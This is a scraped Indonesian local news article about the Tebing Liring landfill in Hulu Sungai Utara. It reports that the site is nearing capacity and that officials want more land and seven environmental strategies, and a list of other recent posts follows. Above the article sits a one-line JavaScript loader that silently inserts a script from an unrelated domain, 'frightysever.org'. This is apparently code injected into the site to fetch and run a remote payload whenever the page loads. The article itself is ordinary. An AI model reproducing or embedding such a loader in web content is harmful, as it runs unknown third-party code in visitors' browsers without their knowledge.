(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

Terancam Over Kapasitas, TPA Tabing Liring Pinta Perlu Segera Tambahan Lahan!


KANALKALIMANTAN.COM, AMUNTAI – Gara-gara menerima 90- 118 ton sampah per hari, kini Tempat Pembuangan Akhir (TPA) Tebing Liring di Kecamatan Amuntai Utara terancam over kapasitas. Masalah bertambah serius karena saat ini belum adanya rencana perluasan lahan.

Kepala UPT TPA Tebing Liring Ahmad Rusydani kepada Kanalkalimantan.com, Kamis (11/2/2021) membenarkan kondisi TPA yang terancam penuh tersebut. Dengan kondisi luas area lahan TPA Tebing Liring yang mencapai 7 hektare lebih, lahan tersebut dikhawatirkan tidak dapat lagi menampung sampah untuk 4-5 tahun ke depan.

“Benar, sudah saatnya pengadaan pembelian tanah, kalau tidak 4 – 5 tahun ke depan (TPA) tidak bisa lagi menampung sampah” beber Rusydani.

Selain mengupayakan kondisi lahan untuk TPA, pihaknya juga memikirkan kondisi kawasan ruang terbuka hijau (RTH) yang sudah ada, jangan sampai berubah menjadi TPA. Oleh sebab itu, ia mengatakan perlunya pembebasan atau penambahan lahan untuk TPA minimal seluas 2 hektare.

“Kalau yang ada ini (TPA), kami perhitungkan bertahan paling lama sampai dengan akhir tahun 2021, jadi untuk sementara di anggaran perubahan pemerintah daerah wajib untuk menganggarkan untuk pembuatan lubang baru untuk (TPA),” Lanjutnya.

Rusydani menambahkan, jika nantinya ada penambahan lahan atau pembebasan lahan baru minimal seluas 2 hektare plus sertifikat tanah untuk TPA, pemerintah pusat bakal siap mengucurkan dana sekitar 5 hingga Rp 16 milliar untuk pengelolaannya.

“Saat ini kendala kita yaitu keterbatasan lahan serta sertifikat tanahnya, jadi kita berharap tahun 2022 nanti kita minimal sudah memiliki 2 hektare lahan lagi. Semakin luas lahan maka semakin banyak yang dapat digunakan untuk perencanaan, baik untuk RTH sampai taman edukasi,” imbuh Rusydani.

Sebelumnya dalam rapat Rencana Kerja Pemerintah Daerah (RKPD) Tahun 2022, ia juga menegaskan terkait peningkatan kualitas lingkungan hidup dan ketahanan bencana di kabupaten HSU. Rusydani menilai kegiatan tersebut mempunyai inti pada penanganan sampah limbah dan pengelolaan sungai yang baik dan benar.

Kata Rusydani, perencanaan pembangunan untuk meningkatkan kualitas lingkungan hidup itu perlu adanya 7 strategi. Salah satunya yang pertama adalah revitalisasi dan pengembangan TPA Tebing Liring. Kedua, fasilitas rumah tangga yang belum memadai dan tidak memiliki akses sanitasi. Ketiga pembangunan instalasi pengolahan air limbah domestik.

“Yang keempat pengolahan sampah berbasis komunitas. Lalu ada pengolahan sampah berbasis komunitas, penanggulangan lahan-lahan kritis. Dan terakhir menghindari dan mengurangi masalah banjir yang ada di kabupaten HSU,” jelasnya.

“Untuk itu di tahun 2022 nanti kita harus fokus dalam hal 7 strategi di dalam penanganan peningkatan kualitas lingkungan hidup,” tambahnya.

Sementara pernyataan serupa juga disampaikan PLT Kepala Dinas Perumahan, Kawasan Pemukiman dan Lingkungan Hidup (Disperkim-LH) Kabupaten HSU Najriansyah, saat itu yang menyebut permasalahan keterbatasan pemakaian lahan TPA Tabing Liring.

“Sebelumnya di dalam rapat RKPD tahun 2021 lalu, kami telah mengutarakan bahwa ketersediaan lahan untuk TPA Tebing Liring ini seharusnya sudah masuk prioritas di tahun 2020, karena urusan persampahan ini tiap hari tidak bisa kita tunda-tunda, setiap hari antara 90 sampai 118 ton sampah masuk ke TPA Tebing Liring,” jelasnya

Meski pun masyarakat sudah cukup bagus mendukung dalam penanganan persampahan, melalui pelaksanaan pengangkutan sampah Desa secara mandiri ke TPA.

“Kami berharap nantinya rancangan pembangunan daerah tahun 2022 khususnya di bidang Perkim-LH dapat benar-benar dapat ditingkatkan dengan sasaran yang dapat tercapai,” pungkasnya (kanalkalimantan.com/dew)

 

Reporter : Dew
Editor : Cell

 

 


Al Ghifari

Recent Posts

“Bakawaan Season 1” Perkuat Kolaborasi Ekosistem Ekraf Balangan

KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More

12 jam ago

Banjarmasin Masih ‘Darurat Sampah’, Dorong Pengolahan Sampah Organik Mandiri

KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More

13 jam ago

Stadion Internasional di Landasan Ulin Barat, Lahan 28,7 Hektare Disiapkan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More

13 jam ago

‎Satlantas Polres HSU Bersama Ojol Mitra Tertib Berlalu Lintas ‎

‎KANALKALIMANTAN.COM, AMUNTAI - ‎Satuan Lalu Lintas (Satlantas) Polres Hulu Sungai Utara (HSU) menggelar kegiatan bertajuk… Read More

1 hari ago

Jemaah Haul ke-6 Abah Haji Penuhi Jalan Masjid Jami Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Lautan manusia jemaah Haul ke-6 KH Ahmad Zuhdianoor atau dikenal Abah Haji… Read More

2 hari ago

Satgas Saber Pangan HSU Turun ke Pasar Induk Amuntai

KANALKALIMANTAN.COM, AMUNTAI - Menjelang bulan Ramadan, Badan Pangan Nasional (Bapanas) bersama Satgas Saber Pangan Kabupaten… Read More

2 hari ago

This website uses cookies.